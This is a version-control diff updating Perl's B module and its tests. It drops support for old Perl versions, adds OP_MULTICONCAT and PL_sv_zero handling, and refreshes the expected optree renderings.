- at B::optype = qw(OP UNOP BINOP LOGOP LISTOP PMOP SVOP PADOP PVOP LOOP COP
+our @optype = qw(OP UNOP BINOP LOGOP LISTOP PMOP SVOP PADOP PVOP LOOP COP
                 METHOP UNOP_AUX);
 # bytecode.pl contained the following comment:
 # Nullsv *must* come first in the following so that the condition
 # ($$sv == 0) can continue to be used to test (sv == Nullsv).
- at B::specialsv_name = qw(Nullsv &PL_sv_undef &PL_sv_yes &PL_sv_no
-			(SV*)pWARN_ALL (SV*)pWARN_NONE (SV*)pWARN_STD);
+our @specialsv_name = qw(Nullsv &PL_sv_undef &PL_sv_yes &PL_sv_no
+			(SV*)pWARN_ALL (SV*)pWARN_NONE (SV*)pWARN_STD
+                        &PL_sv_zero);
 
 {
     # Stop "-w" from complaining about the lack of a real B::OBJECT class
@@ -114,8 +120,8 @@
 }
 
 sub B::NULL::as_string() {""}
-*B::IV::as_string = \*B::IV::int_value;
-*B::PV::as_string = \*B::PV::PV;
+*B::IV::as_string = *B::IV::as_string = \*B::IV::int_value;
+*B::PV::as_string = *B::PV::as_string = \*B::PV::PV;
 
 #  The input typemap checking makes no distinction between different SV types,
 #  so the XS body will generate the same C code, despite the different XS
@@ -122,8 +128,10 @@
 #  "types". So there is no change in behaviour from doing "newXS" like this,
 #  compared with the old approach of having a (near) duplicate XS body.
 #  We should fix the typemap checking.
-*B::IV::RV = \*B::PV::RV if $] > 5.012;
 
+#  Since perl 5.12.0
+*B::IV::RV = *B::IV::RV = \*B::PV::RV;
+
 my $debug;
 my $op_count = 0;
 my @parents = ();
@@ -256,12 +264,12 @@
 sub walksymtable {
     my ($symref, $method, $recurse, $prefix) = @_;
     my $sym;
-    my $ref;
     my $fullname;
     no strict 'refs';
     $prefix = '' unless defined $prefix;
     foreach my $sym ( sort keys %$symref ) {
-        $ref= $symref->{$sym};
+        my $dummy = $symref->{$sym}; # Copying the glob and incrementing
+                                     # the GPs refcnt clears cached methods
         $fullname = "*main::".$prefix.$sym;
 	if ($sym =~ /::$/) {
 	    $sym = $prefix . $sym;
@@ -541,55 +549,13 @@
 
 =head2 SV-RELATED CLASSES
 
-B::IV, B::NV, B::RV, B::PV, B::PVIV, B::PVNV, B::PVMG, B::BM (5.9.5 and
-earlier), B::PVLV, B::AV, B::HV, B::CV, B::GV, B::FM, B::IO.  These classes
+B::IV, B::NV, B::PV, B::PVIV, B::PVNV, B::PVMG,
+B::PVLV, B::AV, B::HV, B::CV, B::GV, B::FM, B::IO.  These classes
 correspond in the obvious way to the underlying C structures of similar names.
-The inheritance hierarchy mimics the underlying C "inheritance".  For the
-5.10.x branch, (I<ie> 5.10.0, 5.10.1 I<etc>) this is:
+The inheritance hierarchy mimics the underlying C "inheritance":
 
                            B::SV
                              |
-                +------------+------------+------------+
-                |            |            |            |
-              B::PV        B::IV        B::NV        B::RV
-                  \         /           /
-                   \       /           /
-                    B::PVIV           /
-                         \           /
-                          \         /
-                           \       /
-                            B::PVNV
-                               |
-                               |
-                            B::PVMG
-                               |
-                   +-----+-----+-----+-----+
-                   |     |     |     |     |
-                 B::AV B::GV B::HV B::CV B::IO
-                         |           |
-                         |           |
-                      B::PVLV      B::FM
-
-For 5.9.0 and earlier, PVLV is a direct subclass of PVMG, and BM is still
-present as a distinct type, so the base of this diagram is
-
-
-                               |
-                               |
-                            B::PVMG
-                               |
-            +------+-----+-----+-----+-----+-----+
-            |      |     |     |     |     |     |
-         B::PVLV B::BM B::AV B::GV B::HV B::CV B::IO
-                                           |
-                                           |
-                                         B::FM
-
-For 5.11.0 and later, B::RV is abolished, and IVs can be used to store
-references, and a new type B::REGEXP is introduced, giving this structure:
-
-                           B::SV
-                             |
                 +------------+------------+
                 |            |            |
               B::PV        B::IV        B::NV
@@ -950,17 +916,6 @@
 Like C<ARRAY>, but takes an index as an argument to get only one element,
 rather than a list of all of them.
 
-=item OFF
-
-This method is deprecated if running under Perl 5.8, and is no longer present
-if running under Perl 5.9
-
-=item AvFLAGS
-
-This method returns the AV specific
-flags.  In Perl 5.9 these are now stored
-in with the main SV flags, so this method is no longer present.
-
 =back
 
 =head2 B::CV Methods
@@ -981,8 +936,7 @@
 
 =item PADLIST
 
-Returns a B::PADLIST object under Perl 5.18 or higher, or a B::AV in
-earlier versions.
+Returns a B::PADLIST object.
 
 =item OUTSIDE
 
@@ -1020,11 +974,6 @@
 
 =item ARRAY
 
-=item PMROOT
-
-This method is not present if running under Perl 5.9, as the PMROOT
-information is no longer stored directly in the hash.
-
 =back
 
 =head2 OP-RELATED CLASSES
@@ -1167,16 +1116,8 @@
 
 =item pmreplstart
 
-=item pmnext
-
-Only up to Perl 5.9.4
-
 =item pmflags
 
-=item extflags
-
-Since Perl 5.9.5
-
 =item precomp
 
 =item pmoffset
@@ -1292,10 +1233,8 @@
 
 =item ARRAY
 
-A list of pads.  The first one contains the names.
-
-The first one is a B::PADNAMELIST under Perl 5.22, and a B::AV under
-earlier versions.  The rest are currently B::AV objects, but that could
+A list of pads.  The first one is a B::PADNAMELIST containing the names.
+The rest are currently B::AV objects, but that could
 change in future versions.
 
 =item ARRAYelt

Modified: vendor/perl/dist/ext/B/B.xs
===================================================================
--- vendor/perl/dist/ext/B/B.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/B.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -77,7 +77,7 @@
 #define MY_CXT_KEY "B::_guts" XS_VERSION
 
 typedef struct {
-    SV *	x_specialsv_list[7];
+    SV *	x_specialsv_list[8];
     int		x_walkoptree_debug;	/* Flag for walkoptree debug hook */
 } my_cxt_t;
 
@@ -95,6 +95,7 @@
     cxt->x_specialsv_list[4] = (SV *) pWARN_ALL;
     cxt->x_specialsv_list[5] = (SV *) pWARN_NONE;
     cxt->x_specialsv_list[6] = (SV *) pWARN_STD;
+    cxt->x_specialsv_list[7] = &PL_sv_zero;
 }
 
 
@@ -467,9 +468,7 @@
 typedef MAGIC	*B__MAGIC;
 typedef HE      *B__HE;
 typedef struct refcounted_he	*B__RHE;
-#ifdef PadlistARRAY
 typedef PADLIST	*B__PADLIST;
-#endif
 typedef PADNAMELIST *B__PADNAMELIST;
 typedef PADNAME	*B__PADNAME;
 
@@ -627,10 +626,6 @@
     ASSIGN_COMMON_ALIAS(I, defstash);
     cv = newXS("B::curstash", intrpvar_sv_common, file);
     ASSIGN_COMMON_ALIAS(I, curstash);
-#ifdef PL_formfeed
-    cv = newXS("B::formfeed", intrpvar_sv_common, file);
-    ASSIGN_COMMON_ALIAS(I, formfeed);
-#endif
 #ifdef USE_ITHREADS
     cv = newXS("B::regex_padav", intrpvar_sv_common, file);
     ASSIGN_COMMON_ALIAS(I, regex_padav);
@@ -647,15 +642,11 @@
 #endif
 }
 
-#ifndef PL_formfeed
-
 void
 formfeed()
     PPCODE:
 	PUSHs(make_sv_object(aTHX_ GvSV(gv_fetchpvs("\f", GV_ADD, SVt_PV))));
 
-#endif
-
 long 
 amagic_generation()
     CODE:
@@ -668,7 +659,6 @@
     PREINIT:
 	PADLIST *padlist = CvPADLIST(PL_main_cv ? PL_main_cv : PL_compcv);
     PPCODE:
-#ifdef PadlistARRAY
 	{
 	    SV * const rv = sv_newmortal();
 	    sv_setiv(newSVrv(rv, padlist ? "B::PADLIST" : "B::NULL"),
@@ -675,9 +665,6 @@
 		     PTR2IV(padlist));
 	    PUSHs(rv);
 	}
-#else
-	PUSHs(make_sv_object(aTHX_ (SV *)padlist));
-#endif
 
 void
 sv_undef()
@@ -744,7 +731,7 @@
  int i; 
  IV  result = -1;
  ST(0) = sv_newmortal();
- if (strEQs(name,"pp_"))
+ if (strBEGINs(name,"pp_"))
    name += 3;
  for (i = 0; i < PL_maxo; i++)
   {
@@ -1035,21 +1022,19 @@
 		ret = make_sv_object(aTHX_ NULL);
 		break;
 	    case 41: /* B::PVOP::pv */
-		/* OP_TRANS uses op_pv to point to a table of 256 or >=258
-		 * shorts whereas other PVOPs point to a null terminated
-		 * string.  */
-		if (    (cPVOPo->op_type == OP_TRANS
-			|| cPVOPo->op_type == OP_TRANSR) &&
-			(cPVOPo->op_private & OPpTRANS_COMPLEMENT) &&
-			!(cPVOPo->op_private & OPpTRANS_DELETE))
-		{
-		    const short* const tbl = (short*)cPVOPo->op_pv;
-		    const short entries = 257 + tbl[256];
-		    ret = newSVpvn_flags(cPVOPo->op_pv, entries * sizeof(short), SVs_TEMP);
+                /* OP_TRANS uses op_pv to point to a OPtrans_map struct,
+                 * whereas other PVOPs point to a null terminated string.
+                 * For trans, for now just return the whole struct as a
+                 * string and let the caller unpack() it */
+		if (   cPVOPo->op_type == OP_TRANS
+                    || cPVOPo->op_type == OP_TRANSR)
+                {
+                    const OPtrans_map *const tbl = (OPtrans_map*)cPVOPo->op_pv;
+		    ret = newSVpvn_flags(cPVOPo->op_pv,
+                                              (char*)(&tbl->map[tbl->size + 1])
+                                            - (char*)tbl,
+                                            SVs_TEMP);
 		}
-		else if (cPVOPo->op_type == OP_TRANS || cPVOPo->op_type == OP_TRANSR) {
-		    ret = newSVpvn_flags(cPVOPo->op_pv, 256 * sizeof(short), SVs_TEMP);
-		}
 		else
 		    ret = newSVpvn_flags(cPVOPo->op_pv, strlen(cPVOPo->op_pv), SVs_TEMP);
 		break;
@@ -1182,6 +1167,10 @@
     PPCODE:
         aux = cUNOP_AUXo->op_aux;
         switch (o->op_type) {
+        case OP_MULTICONCAT:
+            ret = multiconcat_stringify(o);
+            break;
+
         case OP_MULTIDEREF:
             ret = multideref_stringify(o, cv);
             break;
@@ -1237,6 +1226,61 @@
                                 (char)aux[2].iv) : &PL_sv_no));
             break;
 
+        case OP_MULTICONCAT:
+            {
+                SSize_t nargs;
+                char *p;
+                STRLEN len;
+                U32 utf8 = 0;
+                SV *sv;
+                UNOP_AUX_item *lens;
+
+                /* return (nargs, const string, segment len 0, 1, 2, ...) */
+
+                /* if this changes, this block of code probably needs fixing */
+                assert(PERL_MULTICONCAT_HEADER_SIZE == 5);
+                nargs = aux[PERL_MULTICONCAT_IX_NARGS].ssize;
+                EXTEND(SP, ((SSize_t)(2 + (nargs+1))));
+                PUSHs(sv_2mortal(newSViv((IV)nargs)));
+
+                p   = aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv;
+                len = aux[PERL_MULTICONCAT_IX_PLAIN_LEN].ssize;
+                if (!p) {
+                    p   = aux[PERL_MULTICONCAT_IX_UTF8_PV].pv;
+                    len = aux[PERL_MULTICONCAT_IX_UTF8_LEN].ssize;
+                    utf8 = SVf_UTF8;
+                }
+                sv = newSVpvn(p, len);
+                SvFLAGS(sv) |= utf8;
+                PUSHs(sv_2mortal(sv));
+
+                lens = aux + PERL_MULTICONCAT_IX_LENGTHS;
+                nargs++; /* loop (nargs+1) times */
+                if (utf8) {
+                    U8 *p = (U8*)SvPVX(sv);
+                    while (nargs--) {
+                        SSize_t bytes = lens->ssize;
+                        SSize_t chars;
+                        if (bytes <= 0)
+                            chars = bytes;
+                        else {
+                            /* return char lengths rather than byte lengths */
+                            chars = utf8_length(p, p + bytes);
+                            p += bytes;
+                        }
+                        lens++;
+                        PUSHs(sv_2mortal(newSViv(chars)));
+                    }
+                }
+                else {
+                    while (nargs--) {
+                        PUSHs(sv_2mortal(newSViv(lens->ssize)));
+                        lens++;
+                    }
+                }
+                break;
+            }
+
         case OP_MULTIDEREF:
 #ifdef USE_ITHREADS
 #  define ITEM_SV(item) *av_fetch(comppad, (item)->pad_offset, FALSE);
@@ -1607,7 +1651,6 @@
 	U32 utf8 = 0;
     CODE:
 	if (ix == 3) {
-#ifndef PERL_FBM_TABLE_OFFSET
 	    const MAGIC *const mg = mg_find(sv, PERL_MAGIC_bm);
 
 	    if (!mg)
@@ -1614,12 +1657,6 @@
                 croak("argument to B::BM::TABLE is not a PVBM");
 	    p = mg->mg_ptr;
 	    len = mg->mg_len;
-#else
-	    p = SvPV(sv, len);
-	    /* Boyer-Moore table is just after string and its safety-margin \0 */
-	    p += len + PERL_FBM_TABLE_OFFSET;
-	    len = 256;
-#endif
 	} else if (ix == 2) {
 	    /* This used to read 257. I think that that was buggy - should have
 	       been 258. (The "\0", the flags byte, and 256 for the table.)
@@ -1637,38 +1674,22 @@
 	       5.15 and later store the BM table via MAGIC, so the compiler
 	       should handle this just fine without changes if PVBM now
 	       always returns the SvPVX() buffer.  */
-#ifdef isREGEXP
 	    p = isREGEXP(sv)
 		 ? RX_WRAPPED_const((REGEXP*)sv)
 		 : SvPVX_const(sv);
-#else
-	    p = SvPVX_const(sv);
-#endif
-#ifdef PERL_FBM_TABLE_OFFSET
-	    len = SvCUR(sv) + (SvVALID(sv) ? 256 + PERL_FBM_TABLE_OFFSET : 0);
-#else
 	    len = SvCUR(sv);
-#endif
 	} else if (ix) {
-#ifdef isREGEXP
 	    p = isREGEXP(sv) ? RX_WRAPPED((REGEXP*)sv) : SvPVX(sv);
-#else
-	    p = SvPVX(sv);
-#endif
 	    len = strlen(p);
 	} else if (SvPOK(sv)) {
 	    len = SvCUR(sv);
 	    p = SvPVX_const(sv);
 	    utf8 = SvUTF8(sv);
-        }
-#ifdef isREGEXP
-	else if (isREGEXP(sv)) {
+        } else if (isREGEXP(sv)) {
 	    len = SvCUR(sv);
 	    p = RX_WRAPPED_const((REGEXP*)sv);
 	    utf8 = SvUTF8(sv);
-	}
-#endif
-        else {
+	} else {
             /* XXX for backward compatibility, but should fail */
             /* croak( "argument is not SvPOK" ); */
 	    p = NULL;
@@ -1948,8 +1969,6 @@
 CvDEPTH(cv)
         B::CV   cv
 
-#ifdef PadlistARRAY
-
 B::PADLIST
 CvPADLIST(cv)
 	B::CV	cv
@@ -1958,17 +1977,6 @@
     OUTPUT:
 	RETVAL
 
-#else
-
-B::AV
-CvPADLIST(cv)
-	B::CV	cv
-    PPCODE:
-	PUSHs(make_sv_object(aTHX_ (SV *)CvPADLIST(cv)));
-
-
-#endif
-
 SV *
 CvHSCXT(cv)
 	B::CV	cv
@@ -2069,8 +2077,6 @@
 	RETVAL
 
 
-#ifdef PadlistARRAY
-
 MODULE = B	PACKAGE = B::PADLIST	PREFIX = Padlist
 
 SSize_t
@@ -2130,8 +2136,6 @@
     OUTPUT:
 	RETVAL
 
-#endif
-
 MODULE = B	PACKAGE = B::PADNAMELIST	PREFIX = Padnamelist
 
 void

Modified: vendor/perl/dist/ext/B/O.pm
===================================================================
--- vendor/perl/dist/ext/B/O.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/O.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,16 +1,18 @@
 package O;
 
-our $VERSION = '1.01';
+our $VERSION = '1.03';
 
-use B qw(minus_c save_BEGINs);
-use Carp;
+use B ();
 
+our $BEGIN_output;
+our $saveout_fh;
+
 sub import {
     my ($class, @options) = @_;
     my ($quiet, $veryquiet) = (0, 0);
     if ($options[0] eq '-q' || $options[0] eq '-qq') {
 	$quiet = 1;
-	open (SAVEOUT, ">&STDOUT");
+	open ($saveout_fh, ">&", STDOUT);
 	close STDOUT;
 	open (STDOUT, ">", \$O::BEGIN_output);
 	if ($options[0] eq '-qq') {
@@ -21,15 +23,15 @@
     my $backend = shift (@options);
     eval q[
 	BEGIN {
-	    minus_c;
-	    save_BEGINs;
+	    B::minus_c;
+	    B::save_BEGINs;
 	}
 
 	CHECK {
 	    if ($quiet) {
 		close STDOUT;
-		open (STDOUT, ">&SAVEOUT");
-		close SAVEOUT;
+		open (STDOUT, ">&", $saveout_fh);
+		close $saveout_fh;
 	    }
 
 	    # Note: if you change the code after this 'use', please
@@ -37,11 +39,7 @@
 	    # "fragile kludge") so that its output still looks
 	    # nice. Thanks. --smcc
 	    use B::].$backend.q[ ();
-	    if ($@) {
-		croak "use of backend $backend failed: $@";
-	    }
 
-
 	    my $compilesub = &{"B::${backend}::compile"}(@options);
 	    if (ref($compilesub) ne "CODE") {
 		die $compilesub;
@@ -54,7 +52,11 @@
 	    close STDERR if $veryquiet;
 	}
     ];
-    die $@ if $@;
+    if ($@) {
+        my $msg = "$@";
+        require Carp;
+        Carp::croak("Loading compiler backend 'B::$backend' failed: $msg");
+    }
 }
 
 1;

Modified: vendor/perl/dist/ext/B/t/OptreeCheck.pm
===================================================================
--- vendor/perl/dist/ext/B/t/OptreeCheck.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/OptreeCheck.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,10 +2,10 @@
 use parent 'Exporter';
 use strict;
 use warnings;
-use vars qw($TODO $Level $using_open);
+our ($TODO, $Level, $using_open);
 require "test.pl";
 
-our $VERSION = '0.15';
+our $VERSION = '0.16';
 
 # now export checkOptree, and those test.pl functions used by tests
 our @EXPORT = qw( checkOptree plan skip skip_all pass is like unlike
@@ -208,15 +208,10 @@
 =head2 expect and expect_nt
 
 expect and expect_nt args are the B<golden-sample> renderings, and are
-sampled from known-ok threaded and un-threaded bleadperl (5.9.1) builds.
+sampled from known-ok threaded and un-threaded bleadperl builds.
 They're both required, and the correct one is selected for the platform
 being tested, and saved into the synthesized property B<wanted>.
 
-Individual sample lines may be suffixed with whitespace followed
-by (<|<=|==|>=|>)5.nnnn (up to two times) to
-select that line only for the listed perl
-version; the whitespace and conditional are stripped.
-
 =head2 bcopts => $bcopts || [ @bcopts ]
 
 When getRendering() runs, it passes bcopts into B::Concise::compile().
@@ -640,33 +635,6 @@
 
     $str =~ s/^\# //mg;	# ease cut-paste testcase authoring
 
-    # strip out conditional lines
-
-    $str =~ s{^(.*?)   \s+(<|<=|==|>=|>)\s*(5\.\d+)
-		    (?:\s+(<|<=|==|>=|>)\s*(5\.\d+))? \ *\n}
-     {
-	my ($line, $cmp, $version, $cmp2, $v2) = ($1,$2,$3,$4,$5,$6);
-	my $repl = "";
-	if (  $cmp eq '<'  ? $] <  $version
-	    : $cmp eq '<=' ? $] <= $version
-	    : $cmp eq '==' ? $] == $version
-	    : $cmp eq '>=' ? $] >= $version
-	    : $cmp eq '>'  ? $] >  $version
-	    : die("bad comparison '$cmp' in string [$str]\n")
-	 and !$cmp2 || (
-	      $cmp2 eq '<'  ? $] <  $v2
-	    : $cmp2 eq '<=' ? $] <= $v2
-	    : $cmp2 eq '==' ? $] == $v2
-	    : $cmp2 eq '>=' ? $] >= $v2
-	    : $cmp2 eq '>'  ? $] >  $v2
-	    : die("bad comparison '$cmp2' in string [$str]\n")
-	  )
-	) {
-	    $repl = "$line\n";
-	}
-	$repl;
-     }gemx;
-
     $tc->{wantstr} = $str;
 
     # make UNOP_AUX flag type literal
@@ -781,8 +749,9 @@
         my $exp = shift @want;
         my $line = shift @got;
         # remove matches, and report
-        unless ($got =~ s/($rex\n)//msg) {
+        unless ($got =~ s/^($rex\n)//ms) {
             _diag("got:\t\t'$line'\nwant:\t $rex\n");
+            last;
         }
     }
     _diag("remainder:\n$got");

Modified: vendor/perl/dist/ext/B/t/b.t
===================================================================
--- vendor/perl/dist/ext/B/t/b.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/b.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -21,7 +21,7 @@
 
 
 package Testing::Symtable;
-use vars qw($This @That %wibble $moo %moo);
+our ($This, @That, %wibble, $moo, %moo);
 my $not_a_sym = 'moo';
 
 sub moo { 42 }
@@ -35,7 +35,7 @@
 sub hock { "yarrow" }
 
 package main;
-use vars qw(%Subs);
+our %Subs;
 local %Subs = ();
 B::walksymtable(\%Testing::Symtable::, 'find_syms', sub { $_[0] =~ /Foo/ },
                 'Testing::Symtable::');
@@ -46,8 +46,7 @@
     $main::Subs{$symbol->STASH->NAME . '::' . $symbol->NAME}++;
 }
 
-my @syms = map { 'Testing::Symtable::'.$_ } qw(This That wibble moo car
-                                               BEGIN);
+my @syms = map { 'Testing::Symtable::'.$_ } qw(This That wibble moo car);
 push @syms, "Testing::Symtable::Foo::yarrow";
 
 # Make sure we hit all the expected symbols.
@@ -56,6 +55,21 @@
 # Make sure we only hit them each once.
 ok( (!grep $_ != 1, values %Subs), '...and found once' );
 
+
+# Make sure method caches are not present when walking the sym tab
+ at Testing::Method::Caches::Foo::ISA='Testing::Method::Caches::Bar';
+sub Testing::Method::Caches::Bar::foo{}
+Testing::Method::Caches::Foo->foo; # caches the sub in the *foo glob
+
+my $have_cv;
+sub B::GV::method_cache_test { ${shift->CV} and ++$have_cv }
+
+B::walksymtable(\%Testing::Method::Caches::, 'method_cache_test',
+                 sub { 1 }, 'Testing::Method::Caches::');
+# $have_cv should only have been incremented for ::Bar::foo
+is $have_cv, 1, 'walksymtable clears cached methods';
+
+
 # Tests for MAGIC / MOREMAGIC
 ok( B::svref_2object(\$.)->MAGIC->TYPE eq "\0", '$. has \0 magic' );
 {
@@ -107,8 +121,7 @@
 }
 
 my $r = qr/foo/;
-my $obj = B::svref_2object($r);
-my $regexp =  ($] < 5.011) ? $obj->MAGIC : $obj;
+my $regexp = B::svref_2object($r);
 ok($regexp->precomp() eq 'foo', 'Get string from qr//');
 like($regexp->REGEX(), qr/\d+/, "REGEX() returns numeric value");
 like($regexp->compflags, qr/^\d+\z/, "compflags returns numeric value");
@@ -179,12 +192,10 @@
 is(ref $null_ret, "SCALAR", "Test object_2svref() return is SCALAR");
 is($$null_ret, $nv, "Test object_2svref()");
 
-my $RV_class = $] >= 5.011 ? 'B::IV' : 'B::RV';
 my $cv = sub{ 1; };
 my $cv_ref = B::svref_2object(\$cv);
-is($cv_ref->REFCNT, 1, "Test $RV_class->REFCNT");
-is(ref $cv_ref, "$RV_class",
-   "Test $RV_class return from svref_2object - code");
+is($cv_ref->REFCNT, 1, "Test B::IV->REFCNT");
+is(ref $cv_ref, "B::IV", "Test B::IV return from svref_2object - code");
 my $cv_ret = $cv_ref->object_2svref();
 is(ref $cv_ret, "REF", "Test object_2svref() return is REF");
 is($$cv_ret, $cv, "Test object_2svref()");
@@ -191,13 +202,11 @@
 
 my $av = [];
 my $av_ref = B::svref_2object(\$av);
-is(ref $av_ref, "$RV_class",
-   "Test $RV_class return from svref_2object - array");
+is(ref $av_ref, "B::IV", "Test B::IV return from svref_2object - array");
 
 my $hv = [];
 my $hv_ref = B::svref_2object(\$hv);
-is(ref $hv_ref, "$RV_class",
-   "Test $RV_class return from svref_2object - hash");
+is(ref $hv_ref, "B::IV", "Test B::IV return from svref_2object - hash");
 
 local *gv = *STDOUT;
 my $gv_ref = B::svref_2object(\*gv);
@@ -312,9 +321,8 @@
 is(B::svref_2object(sub {})->ROOT->ppaddr, 'PL_ppaddr[OP_LEAVESUB]',
    'OP->ppaddr');
 
-# This one crashes from perl 5.8.9 to B 1.24 (perl 5.13.6):
 B::svref_2object(sub{y/\x{100}//})->ROOT->first->first->sibling->sv;
-ok 1, 'B knows that UTF trans is a padop in 5.8.9, not an svop';
+ok 1, 'B knows that UTF trans is a padop, not an svop';
 
 {
     my $o = B::svref_2object(sub{0;0})->ROOT->first->first;
@@ -345,13 +353,10 @@
 is $cop->stash->object_2svref, \%main::, 'COP->stash';
 is $cop->stashpv, 'main', 'COP->stashpv';
 
-SKIP: {
-    skip "no nulls in packages before 5.17", 1 if $] < 5.017;
-    is $bobby->stashpv, "Pe\0e\x{142}", 'COP->stashpv with utf8 and nulls';
-}
+is $bobby->stashpv, "Pe\0e\x{142}", 'COP->stashpv with utf8 and nulls';
 
 SKIP: {
-    skip "no stashoff", 2 if $] < 5.017 || !$Config::Config{useithreads};
+    skip "no stashoff", 2 unless $Config::Config{useithreads};
     like $cop->stashoff, qr/^[1-9]\d*\z/a, 'COP->stashoff';
     isnt $cop->stashoff, $bobby->stashoff,
 	'different COP->stashoff for different stashes';
@@ -428,18 +433,10 @@
 	ok($gv, "we get a GV from a GV on a normal sub");
 	isa_ok($gv, "B::GV");
 	is($gv->NAME, "foo", "check the GV name");
-      SKIP:
-	{ # do we need these version checks?
-	    skip "no HEK before 5.18", 1 if $] < 5.018;
-	    is($cv->NAME_HEK, undef, "no hek for a global sub");
-	}
+	is($cv->NAME_HEK, undef, "no hek for a global sub");
     }
 
-SKIP:
     {
-        skip "no HEK before 5.18", 4 if $] < 5.018;
-        eval <<'EOS'
-    {
         use feature 'lexical_subs';
         no warnings 'experimental::lexical_subs';
         my sub bar {};
@@ -451,10 +448,6 @@
         my $gv = $cv->GV;
         isa_ok($gv, "B::GV", "GV on a lexical sub");
     }
-    1;
-EOS
-	  or die "lexical_subs test failed to compile: $@";
-    }
 }
 
 { # [perl #120535]

Modified: vendor/perl/dist/ext/B/t/f_map.t
===================================================================
--- vendor/perl/dist/ext/B/t/f_map.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/B/t/f_map.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -108,7 +108,7 @@
 #            goto 7
 # g  <0> pushmark s
 # h  <#> gv[*hash] s
-# i  <1> rv2hv lKRM*/1
+# i  <1> rv2hv[t2] lKRM*
 # j  <2> aassign[t10] KS/COM_AGG
 # k  <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
@@ -130,7 +130,7 @@
 #            goto 7
 # g  <0> pushmark s
 # h  <$> gv(*hash) s
-# i  <1> rv2hv lKRM*/1
+# i  <1> rv2hv[t1] lKRM*
 # j  <2> aassign[t5] KS/COM_AGG
 # k  <1> leavesub[1 ref] K/REFC,1
 EONT_EONT
@@ -157,7 +157,7 @@
 # 4  <0> pushmark s
 # 5  <0> pushmark s
 # 6  <#> gv[*hash] s
-# 7  <1> rv2hv lKRM*/1
+# 7  <1> rv2hv[t2] lKRM*
 # 8  <2> aassign[t3] vKS
 # 9  <;> nextstate(main 476 (eval 10):1) v:{
 # a  <0> pushmark sM
@@ -171,7 +171,7 @@
 # g      <;> nextstate(main 475 (eval 10):1) v:{
 # h      <#> gvsv[*_] s
 # i      <#> gv[*hash] s
-# j      <1> rv2hv sKR/1
+# j      <1> rv2hv sKR
 # k      <0> pushmark s
 # l      <#> gvsv[*_] s
 # m      <#> gv[*getkey] s/EARLYCV
@@ -190,7 +190,7 @@
 # 4  <0> pushmark s
 # 5  <0> pushmark s
 # 6  <$> gv(*hash) s
-# 7  <1> rv2hv lKRM*/1
+# 7  <1> rv2hv[t1] lKRM*
 # 8  <2> aassign[t2] vKS
 # 9  <;> nextstate(main 560 (eval 15):1) v:{
 # a  <0> pushmark sM
@@ -204,7 +204,7 @@
 # g      <;> nextstate(main 559 (eval 15):1) v:{
 # h      <$> gvsv(*_) s
 # i      <$> gv(*hash) s
-# j      <1> rv2hv sKR/1
+# j      <1> rv2hv sKR
 # k      <0> pushmark s
 # l      <$> gvsv(*_) s
 # m      <$> gv(*getkey) s/EARLYCV
@@ -243,7 +243,7 @@
 #            goto 7
 # b  <0> pushmark s
 # c  <#> gv[*hash] s
-# d  <1> rv2hv lKRM*/1
+# d  <1> rv2hv[t2] lKRM*
 # e  <2> aassign[t10] KS/COM_AGG
 # f  <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
@@ -260,7 +260,7 @@
 #            goto 7
 # b  <0> pushmark s
 # c  <$> gv(*hash) s
-# d  <1> rv2hv lKRM*/1
+# d  <1> rv2hv[t1] lKRM*
 # e  <2> aassign[t6] KS/COM_AGG
 # f  <1> leavesub[1 ref] K/REFC,1
 EONT_EONT
@@ -289,7 +289,7 @@
 #            goto 7
 # b  <0> pushmark s
 # c  <#> gv[*hash] s
-# d  <1> rv2hv lKRM*/1
+# d  <1> rv2hv[t2] lKRM*
 # e  <2> aassign[t10] KS/COM_AGG
 # f  <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
@@ -306,7 +306,7 @@
 #            goto 7
 # b  <0> pushmark s
 # c  <$> gv(*hash) s
-# d  <1> rv2hv lKRM*/1
+# d  <1> rv2hv[t1] lKRM*
 # e  <2> aassign[t6] KS/COM_AGG
 # f  <1> leavesub[1 ref] K/REFC,1
 EONT_EONT
@@ -335,7 +335,7 @@
 #            goto 7
 # b  <0> pushmark s
 # c  <#> gv[*hash] s
-# d  <1> rv2hv lKRM*/1
+# d  <1> rv2hv[t2] lKRM*
 # e  <2> aassign[t9] KS/COM_AGG
 # f  <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
@@ -352,7 +352,7 @@
 #            goto 7
 # b  <0> pushmark s
 # c  <$> gv(*hash) s
-# d  <1> rv2hv lKRM*/1
+# d  <1> rv2hv[t1] lKRM*
 # e  <2> aassign[t5] KS/COM_AGG
 # f  <1> leavesub[1 ref] K/REFC,1
 EONT_EONT
@@ -381,7 +381,7 @@
 #            goto 7
 # b  <0> pushmark s
 # c  <#> gv[*hash] s
-# d  <1> rv2hv lKRM*/1
+# d  <1> rv2hv[t2] lKRM*
 # e  <2> aassign[t8] KS/COM_AGG
 # f  <1> leavesub[1 ref] K/REFC,1
 EOT_EOT
@@ -398,7 +398,7 @@
 #            goto 7
 # b  <0> pushmark s
 # c  <$> gv(*hash) s
-# d  <1> rv2hv lKRM*/1
+# d  <1> rv2hv[t1] lKRM*
 # e  <2> aassign[t5] KS/COM_AGG
 # f  <1> leavesub[1 ref] K/REFC,1
 EONT_EONT
@@ -426,7 +426,7 @@
 #            goto 7
 # a  <0> pushmark s
 # b  <#> gv[*hash] s
-# c  <1> rv2hv lKRM*/1
+# c  <1> rv2hv[t2] lKRM*
 # d  <2> aassign[t6] KS/COM_AGG
 # e  <#> gv[*array] s
 # f  <1> rv2av[t8] K/1
@@ -445,7 +445,7 @@
 #            goto 7
 # a  <0> pushmark s
 # b  <$> gv(*hash) s
-# c  <1> rv2hv lKRM*/1
+# c  <1> rv2hv[t1] lKRM*
 # d  <2> aassign[t4] KS/COM_AGG
 # e  <$> gv(*array) s
